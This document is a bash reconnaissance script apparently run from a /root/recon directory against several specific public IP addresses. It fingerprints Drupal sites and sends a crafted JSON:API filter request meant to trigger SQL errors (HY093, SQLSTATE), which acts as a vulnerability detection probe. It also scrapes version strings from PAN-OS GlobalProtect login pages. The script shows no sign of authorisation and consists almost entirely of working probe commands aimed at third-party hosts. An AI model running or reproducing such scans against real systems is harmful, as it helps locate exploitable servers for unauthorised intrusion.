#!/bin/bash
cd /root/recon
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
for ip in 138.68.137.212 150.134.10.80; do
  echo "=== DRUPAL $ip ==="
  curl -sk -m 10 -A "$UA" -o /tmp/h4_$ip.html "https://$ip/" -w "root:%{http_code} "
  grep -aoiE '<title[^>]*>[^<]*|meta name="generator"[^>]*' /tmp/h4_$ip.html | head -2
  rm -f /tmp/h4_$ip.html
  echo
  code=$(curl -sk -m 10 -A "$UA" -o /tmp/j4_$ip.txt -w '%{http_code}' "https://$ip/jsonapi/node/article")
  echo "jsonapi article: $code size:$(wc -c < /tmp/j4_$ip.txt)"
  head -c 150 /tmp/j4_$ip.txt; echo
  code=$(curl -sk -m 15 -A "$UA" -o /tmp/d4_$ip.txt -w '%{http_code}' "https://$ip/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][%60]=x")
  echo "detect code:$code"
  grep -ac 'HY093' /tmp/d4_$ip.txt
  grep -aoE 'SQLSTATE[^<]{0,80}|HY093|<title>[^<]{0,60}' /tmp/d4_$ip.txt | head -3
  rm -f /tmp/j4_$ip.txt /tmp/d4_$ip.txt
done
for ip in 136.82.174.119 147.15.4.124 159.223.58.239; do
  echo "=== PANOS $ip ==="
  curl -sk -m 10 -o /tmp/p4_$ip.html "https://$ip/global-protect/login.esp" -w "gp:%{http_code} "
  grep -aoiE '<title[^>]*>[^<]*|version[^"]{0,30}|PAN[^<"]{0,20}' /tmp/p4_$ip.html | head -3
  rm -f /tmp/p4_$ip.html
  echo
done
echo DONE4
